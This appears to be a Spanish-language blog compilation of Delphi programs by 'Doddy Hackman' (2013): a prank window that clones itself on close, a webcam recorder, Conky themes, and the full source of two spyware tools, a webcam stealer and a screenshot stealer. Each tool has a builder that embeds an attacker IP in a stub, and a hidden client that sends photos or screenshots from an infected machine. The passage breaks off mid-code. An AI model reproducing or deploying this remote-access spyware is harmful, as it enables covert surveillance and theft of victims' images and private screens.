Siempre quize hacer la tipica broma donde te mandan un programa donde aparece la foto de una mina en tetas y cuando queres cerrar la ventana en vez de cerrarse se multiplica.
Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas.

Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD.

El codigo.

// Joke : Big Tits
// (C) Doddy Hackman 2013
 
unit big;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, Math;
 
type
  TForm1 = class(TForm)
    Image1: TImage;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure nomepiensoir();
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.nomepiensoir;
 
// Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm
// Thanks to Zarko Gajic
 
var
 
  parte1: TMemoryStream;
  acatoy: TForm;
 
const
  dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500');
 
begin
 
  parte1 := TMemoryStream.Create;
  parte1.WriteComponent(Form1);
 
  parte1.Position := 0;
 
  acatoy := TFormClass(Form1.ClassType).CreateNew(Application);
  parte1.ReadComponent(acatoy);
 
  acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]);
  acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]);
 
  acatoy.Show;
 
end;
 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  nomepiensoir();
  Abort;
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  nomepiensoir();
end;
 
end.
 
// The End ?
 

Si lo quieren bajar lo pueden hacer de aca.

Un simple programa que graba todos los registros de la webcam en un video con formato avi.

Tenia pensado usarlo como camara de vigilancia en el frente de mi casa pero todavia le faltan varios (mas bien muchos) retoques.

Una imagen :



El codigo.

// The WatchMan 0.4
// (C) Doddy Hackman 2013
// Credits : Based on
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-i.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-ii.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
// Thanks to Javier Par
 
unit the;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  sGroupBox, sButton, sRadioButton, sEdit, sListView, ExtCtrls, ShellApi, acPNG,
  sLabel;
 
type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sStatusBar1: TsStatusBar;
    sTabSheet1: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sTabSheet4: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sGroupBox4: TsGroupBox;
    sRadioButton3: TsRadioButton;
    sEdit1: TsEdit;
    sRadioButton4: TsRadioButton;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    Guardar: TSaveDialog;
    Image1: TImage;
    sGroupBox3: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
 
    procedure sListView1DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  toyaca: hwnd;
 
const
 
  control = WM_USER;
  conec = control + 10;
  uno = control + 52;
  dos = control + 50;
 
  tres = control + 20;
  cuatro = control + 62;
  chau = control + 11;
 
implementation
 
uses tiny, full;
 
FUNCTION capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint;
  x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: hwnd;
  nId: integer): hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
  procedure TForm1.FormCreate(Sender: TObject);
  var
    dir: string;
    busqueda: TSearchRec;
  begin
 
    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
      + 'Data';
    sSkinManager1.SkinName := 'matrix';
    sSkinManager1.Active := True;
 
    dir := ExtractFilePath(Application.ExeName) + '/captures';
 
    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;
 
    ChDir(dir);
 
    FindFirst(dir + '\*.avi', faAnyFile + faReadOnly, busqueda);
 
    with sListView1.Items.Add do
    begin
      Caption := ExtractFileName(busqueda.Name);
      SubItems.Add(dir + '/' + busqueda.Name);
    end;
 
    while FindNext(busqueda) = 0 do
    begin
 
      with sListView1.Items.Add do
      begin
        Caption := ExtractFileName(busqueda.Name);
        SubItems.Add(dir + '/' + busqueda.Name);
      end;
 
    end;
    FindClose(busqueda);
 
  end;
 
  procedure TForm1.sButton1Click(Sender: TObject);
  begin
 
    sStatusBar1.Panels[0].Text := '[+] Recording';
    Form1.sStatusBar1.Update;
 
    Form2.Show;
 
    toyaca := capCreateCaptureWindowA('Unknown_888', WS_CHILD OR WS_VISIBLE,
      Form2.Image1.Left, Form2.Image1.Top, Form2.Image1.Width,
      Form2.Image1.Height, Form2.Handle, 0);
 
    SendMessage(toyaca, conec, 0, 0);
    SendMessage(toyaca, uno, 40, 0);
    SendMessage(toyaca, dos, 1, 0);
 
    SendMessage(toyaca, tres, 0, longint(PCHAR('tt')));
 
    SendMessage(toyaca, cuatro, 0, 0);
 
  end;
 
  procedure TForm1.sButton2Click(Sender: TObject);
  var
    fecha: TDateTime;
    fechafinal: string;
    nombrefecha: string;
 
  BEGIN
 
    sStatusBar1.Panels[0].Text := '[+] Stopped';
    Form1.sStatusBar1.Update;
 
    SendMessage(toyaca, chau, 0, 0);
 
    Form2.Hide;
 
    if (sRadioButton3.Checked) then
    begin
      RenameFile('t', sEdit1.Text);
    end;
 
    if (sRadioButton4.Checked) then
    begin
      fecha := now();
      fechafinal := DateTimeToStr(fecha);
      nombrefecha := fechafinal + '.avi';
 
      nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ' ', '', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
        rfIgnoreCase]);
 
      RenameFile('t', nombrefecha);
 
    end;
 
  end;
 
  procedure TForm1.sListView1DblClick(Sender: TObject);
  begin
 
    ShellExecute(0, nil, PCHAR(sListView1.Selected.SubItems[0]), nil, nil,
      SW_SHOWNORMAL);
 
  end;
 
end.
 
// The End ?
 

Si lo quieren bajar lo pueden hacer de aca.

Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.

Una imagen :

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
 
unit webcam;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;
 
type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image3: TImage;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    sTabSheet2: TsTabSheet;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sTabSheet4: TsTabSheet;
    Image2: TImage;
    sLabel1: TsLabel;
    sStatusBar1: TsStatusBar;
    Timer1: TTimer;
    Timer2: TTimer;
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
 
    conexion: TFileStream;
    control: integer;
 
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  cantidad: string;
 
implementation
 
uses full;
{$R *.dfm}
// Functions
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure achicar(archivo, medir1, medir2: string);
 
// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com
 
var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;
 
begin
 
  try
    begin
 
      bit2 := TJpegImage.Create;
 
      bit2.Loadfromfile(archivo);
 
      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;
 
      bit1 := TBitmap.Create;
 
      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
 
      bit2.Assign(bit1);
 
      bit2.SaveToFile(archivo);
 
    end;
  except
    //
  end;
 
end;
//
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
 
begin
  try
    begin
      ServerSocket1.Open;
 
      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
 
end;
 
procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;
 
procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin
 
  aca := INVALID_HANDLE_VALUE;
  nose := 0;
 
  stubgenerado := 'stealer_ready.exe';
 
  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
 
  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
 
  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;
 
  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;
 
end;
 
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;
 
begin
 
  contenido := Socket.ReceiveText;
 
  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);
 
    ServerSocket2.Open;
 
  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;
 
procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;
 
begin
 
  Timer1.Enabled := True;
 
  while Socket.ReceiveLength > 0 do
 
  begin
 
    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
 
    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;
 
    if conexion.Size >= StrToInt(cantidad) then
 
    begin
 
      conexion.Free;
 
      Timer1.Enabled := False;
 
      control := 0;
 
      Break;
 
    end;
  end;
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;
 
procedure TForm1.Timer2Timer(Sender: TObject);
begin
 
  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin
 
          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;
 
end.
 
// The End ?
 

El servidor.

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
 
unit server;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ScktComp, Jpeg;
 
type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure capturar_webcam(filename: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  target: string;
  webcam: hwnd;
 
const
 
  control = WM_USER;
  conec = control + 10;
  conec2 = control + 52;
  conec3 = control + 50;
  conec4 = control + 25;
  chau = control + 11;
 
implementation
 
FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  : hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
// Functions
 
  procedure TForm1.capturar_webcam(filename: string);
 
  // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  // Thanks to Javier Par
 
  var
    imagen1: TBitmap;
    imagen2: TJpegImage;
 
  begin
 
    try
      begin
 
        DeleteFile('1.bmp');
        DeleteFile('1');
        DeleteFile(filename);
 
        webcam := capCreateCaptureWindowA
          ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
          Image1.Width, Image1.Height, Form1.Handle, 0);
 
        if not(webcam = 0) then
        begin
 
          SendMessage(webcam, conec, 0, 0);
          SendMessage(webcam, conec2, 40, 0);
          SendMessage(webcam, conec3, 1, 0);
          SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
          SendMessage(webcam, chau, 0, 0);
          webcam := 0;
 
          RenameFile('1', '1.bmp');
 
          imagen1 := TBitmap.Create;
          imagen1.LoadFromFile('1.bmp');
 
          imagen2 := TJpegImage.Create;
          imagen2.Assign(imagen1);
          imagen2.CompressionQuality := 100;
          imagen2.SaveToFile(filename);
 
          DeleteFile('1');
          DeleteFile('1.bmp');
 
        end;
 
        imagen1.Free;
        imagen2.Free;
 
      end;
    except
      //
    end;
 
  end;
 
  function regex(text: String; deaca: String; hastaaca: String): String;
  begin
    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    SetLength(text, AnsiPos(hastaaca, text) - 1);
    Result := text;
  end;
 
  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;
 
  begin
 
    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;
 
    if (opcion = 'encode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;
 
    if (opcion = 'decode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;
 
  end;
 
  procedure TForm1.FormCreate(Sender: TObject);
 
  var
    ob: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    todo: string;
 
  begin
 
    Application.ShowMainForm := False;
 
    ob := INVALID_HANDLE_VALUE;
    code := '';
 
    ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;
 
    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');
 
    target := regex(todo, '[ip]', '[ip]');
 
    try
      begin
        ClientSocket1.Address := target;
        ClientSocket1.Open;
      end;
    except
      //
    end;
 
  end;
 
  procedure TForm1.Timer1Timer(Sender: TObject);
  var
    archivo: string;
    envio: TFileStream;
    dir: string;
 
  begin
 
    try
      begin
 
        if ClientSocket1.Active = True then
 
        begin
          dir := GetEnvironmentVariable('USERPROFILE') + '\';
 
          chdir(dir);
 
          if (FileExists('screen.jpg')) then
          begin
            DeleteFile('screen.jpg');
          end;
 
          capturar_webcam('screen.jpg');
 
          archivo := dir + 'screen.jpg';
 
          try
            begin
              ClientSocket1.Socket.SendText
                ('0x3archivo' + ExtractFileName(archivo));
              envio := TFileStream.Create(archivo, fmopenread);
 
              sleep(500);
 
              ClientSocket1.Socket.SendText
                ('0x3acantid' + IntToStr(envio.Size));
 
              envio.Free;
 
              ClientSocket2.Address := target;
              ClientSocket2.Open;
 
              ClientSocket2.Socket.SendStream
                (TFileStream.Create(archivo, fmopenread));
            end;
          except
            //
          end;
        end;
      end;
    except
      //
    end;
 
  end;
 
end.
 
// The End ?
 

Si lo quieren bajar lo pueden hacer de aca.

Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.
 



Theme Tron.




Theme DarkCity.




No son la gran cosa pero el que me gusta usar es el de matrix.

Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
 
unit screen;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;
 
type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;
 
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;
 
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  cantidad: string;
 
implementation
 
uses fullscreen;
{$R *.dfm}
// Functions
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure achicar(archivo, medir1, medir2: string);
 
// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com
 
var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;
 
begin
 
  try
    begin
 
      bit2 := TJpegImage.Create;
 
      bit2.Loadfromfile(archivo);
 
      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;
 
      bit1 := TBitmap.Create;
 
      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
 
      bit2.Assign(bit1);
 
      bit2.SaveToFile(archivo);
 
    end;
  except
    //
  end;
 
end;
//
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;
 
      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
 
end;
 
procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;
 
procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin
 
  aca := INVALID_HANDLE_VALUE;
  nose := 0;
 
  stubgenerado := 'stealer_ready.exe';
 
  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
 
  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
 
  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;
 
  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;
 
end;
 
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;
 
begin
 
  contenido := Socket.ReceiveText;
 
  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);
 
    ServerSocket2.Open;
 
  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;
 
procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;
 
begin
 
  Timer1.Enabled := True;
 
  while Socket.ReceiveLength > 0 do
 
  begin
 
    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
 
    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;
 
    if conexion.Size >= StrToInt(cantidad) then
 
    begin
 
      conexion.Free;
 
      Timer1.Enabled := False;
 
      control := 0;
 
      Break;
 
    end;
  end;
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;
 
procedure TForm1.Timer2Timer(Sender: TObject);
begin
 
  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin
 
          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;
 
end.
 
// The End ?
 

El servidor.

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
 
unit server;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;
 
type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  target: string;
 
implementation
 
{$R *.dfm}
// Functions
 
function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;
 
begin
 
  aca := GetWindowDC(GetDesktopWindow);
 
  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;
 
  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);
 
  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);
 
end;
 
 
//
 
procedure TForm1.FormCreate(Sender: TObject);
 
var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;
 
begin
 
  Application.ShowMainForm := False;
 
  ob := INVALID_HANDLE_VALUE;
  code := '';
 
  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
